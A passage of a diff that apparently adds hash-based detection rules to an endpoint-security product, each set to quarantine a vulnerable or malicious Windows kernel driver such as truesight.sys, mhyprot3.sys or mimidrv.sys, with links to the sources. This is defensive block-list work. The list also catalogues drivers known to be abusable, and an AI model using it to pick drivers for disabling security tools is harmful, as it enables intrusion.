+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481640Z",
+  "creation_date": "2026-03-23T11:45:30.481642Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481647Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c662ed197a5849cf491ee099885f8855b4f8a3d0f5b664c772f2b89c0314b44e",
+  "comment": "Vulnerable Kernel Driver (aka rtif.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9ac8379c-aeba-52d9-b960-fc24548aac30",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.986014Z",
+  "creation_date": "2026-03-23T11:45:29.986016Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.986021Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7fd90500b57f9ac959c87f713fe9ca59e669e6e1512f77fccb6a75cdc0dfee8e",
+  "comment": "Vulnerable Kernel Driver (aka mhyprot3.sys) [https://www.loldrivers.io/drivers/2aa003cd-5f36-46a6-ae3d-f5afc2c8baa3/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9ac8eaec-2709-5410-9917-ef1c7aa77968",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498938Z",
+  "creation_date": "2026-03-23T11:45:31.498941Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498957Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0814a2a3868c0b660aa4f45294a8d5b7645547a71bee2e9420e9ac54378c7130",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9ad1bdf8-2823-5118-b1dc-7564b78ae958",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982014Z",
+  "creation_date": "2026-03-23T11:45:29.982016Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982022Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1b7fb154a7b7903a3c81f12f4b094f24a3c60a6a8cffca894c67c264ab7545fa",
+  "comment": "Vulnerable Kernel Driver (aka PCHunter.sys) [https://www.loldrivers.io/drivers/a261cd64-0d04-4bf5-ad73-f3bb96bf83cf/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9ad2fe1c-ae81-5c25-b63c-92bf575c12c9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155942Z",
+  "creation_date": "2026-03-23T11:45:31.155944Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155956Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3940329e2f14114ae5b6b043f736fdaf8b52a3a2926c3b5f0679815367acd20b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9ae19ee7-3f06-5bba-b0f8-d2df995da1af",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832425Z",
+  "creation_date": "2026-03-23T11:45:30.832427Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832432Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aff016b1ce411e0858adb479407aebcbb50c5355a76147465a70efb5656ab629",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9af48946-34fb-5838-a330-fc0512979faa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.986195Z",
+  "creation_date": "2026-03-23T11:45:29.986197Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.986203Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "81b772e718e40e8d1d815cb3b16690c1ebd4e0bc555933db306037cc3341537f",
+  "comment": "Vulnerable Kernel Driver (aka pchunter.sys) [https://www.loldrivers.io/drivers/73290fcb-a0d7-481e-81a5-65a9859b50f5/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9af600fd-4e30-5ca9-95b9-98b9962efe47",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985027Z",
+  "creation_date": "2026-03-23T11:45:29.985029Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985034Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bb50818a07b0eb1bd317467139b7eb4bad6cd89053fecdabfeae111689825955",
+  "comment": "Dangerous Physmem Kernel Driver (aka Dh_Kernel.Sys) [https://www.loldrivers.io/drivers/dfce8b0f-d857-4808-80ef-61273c7a4183/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9afffc8a-739f-529f-a019-88e7d8fc36cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976921Z",
+  "creation_date": "2026-03-23T11:45:29.976923Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976928Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b309ab94ce74e0611372374408cd9c83efcfbd58d1b3df2567fcb78ab245b1d3",
+  "comment": "Malicious Windows Kernel Explorer Driver (aka WindowsKernelExplorer.sys) [https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9b0a929f-45c8-5f8d-8424-ccd9e124eb08",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822171Z",
+  "creation_date": "2026-03-23T11:45:30.822174Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822179Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "665512fdf31d81504e6540e94d8f1b39f3e56932054a9b83aa4a45360e1c5477",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9b0c0519-a67f-57ff-995e-07f8771d9e24",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.484751Z",
+  "creation_date": "2026-03-23T11:45:31.484755Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.484764Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "13e38c1312d7ac8fac4e6f80c3756f8348e0c566773e290cea6dc176601d9e4d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9b0efb40-097f-5aef-9668-4ca4fd0288ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824708Z",
+  "creation_date": "2026-03-23T11:45:31.824710Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824716Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b31a9a31a00498fb7c81761183e390e3c78180e5bcfb2573fdf95d6a628ebf5a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9b19490b-3179-54e5-b400-83c063e6dd99",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466326Z",
+  "creation_date": "2026-03-23T11:45:30.466330Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466337Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ac5fb90e88d8870cd5569e661bea98cf6b001d83ab7c65a5196ea3743146939a",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9b293db4-99c4-5363-8924-42168070f5fb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604889Z",
+  "creation_date": "2026-03-23T11:45:29.604891Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604897Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6029e838d1573bc036d8f7848e5e4671360617cd138c0e8d5f159a848e5d2782",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9b2d0f94-fb1d-5643-8661-a33fcd367338",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972772Z",
+  "creation_date": "2026-03-23T11:45:29.972774Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972779Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "605e0efa14fc8443dc43c2068f17e6f175369909d5f7f1c3730fb5fe062528e6",
+  "comment": "TG Soft vulnerable driver (aka viragt.sys and viragt64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9b33552b-b583-588d-971c-0a6092e3c879",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813844Z",
+  "creation_date": "2026-03-23T11:45:31.813847Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813852Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e9acd4ef31444f62847ca2d6197f807a88f2539d5cef2c6a14a6fa0b5361b5c1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9b379b83-bca4-5e5c-a02e-f9a8fdbab5d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974609Z",
+  "creation_date": "2026-03-23T11:45:29.974611Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974617Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "83a67b544982a2fd1484af752cc4ab2f6c0b50cb3c9dba60b888c2c2e37d1036",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9b39597e-e119-5e8b-a4bc-9637fc092ee5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141558Z",
+  "creation_date": "2026-03-23T11:45:31.141560Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141566Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d7f685c13c33b23791328fb4169067755632cb0ee423a3ea465514f8f7311607",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9b3a48b4-67cb-534b-b762-d0d0d39c828e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819651Z",
+  "creation_date": "2026-03-23T11:45:31.819654Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819662Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "11b37c27e8598456fa635850d96de920d93062bad509278c074e7502dc3c9b6e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9b3ee847-0a69-5ccf-ab0a-5d5b50e48a2e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814338Z",
+  "creation_date": "2026-03-23T11:45:31.814341Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814349Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a23601872001105d92f91118d89c66a3a74c723dae381b821a06357f705ad0fc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9b42451e-5d0b-5235-bfad-a3db392e14d8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479386Z",
+  "creation_date": "2026-03-23T11:45:30.479388Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479393Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7164aaff86b3b7c588fc7ae7839cc09c5c8c6ae29d1aff5325adaf5bedd7c9f5",
+  "comment": "Vulnerable Kernel Driver (aka segwindrvx64.sys) [https://www.loldrivers.io/drivers/a4aa80bc-4ecd-49ab-bc0f-0f49b07fdd7f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9b45e5e4-9065-56e6-945b-3093a25deaba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498603Z",
+  "creation_date": "2026-03-23T11:45:31.498607Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498616Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "57390caccbbacd3bc02c80508b3564166e1f8a63c2449ea54334c5ae08ca2615",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9b48cf4d-0072-51dd-9b1e-0348c584b62c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608652Z",
+  "creation_date": "2026-03-23T11:45:29.608654Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608660Z",
+  "rule_level": null,
+  "rule_level_override": null,
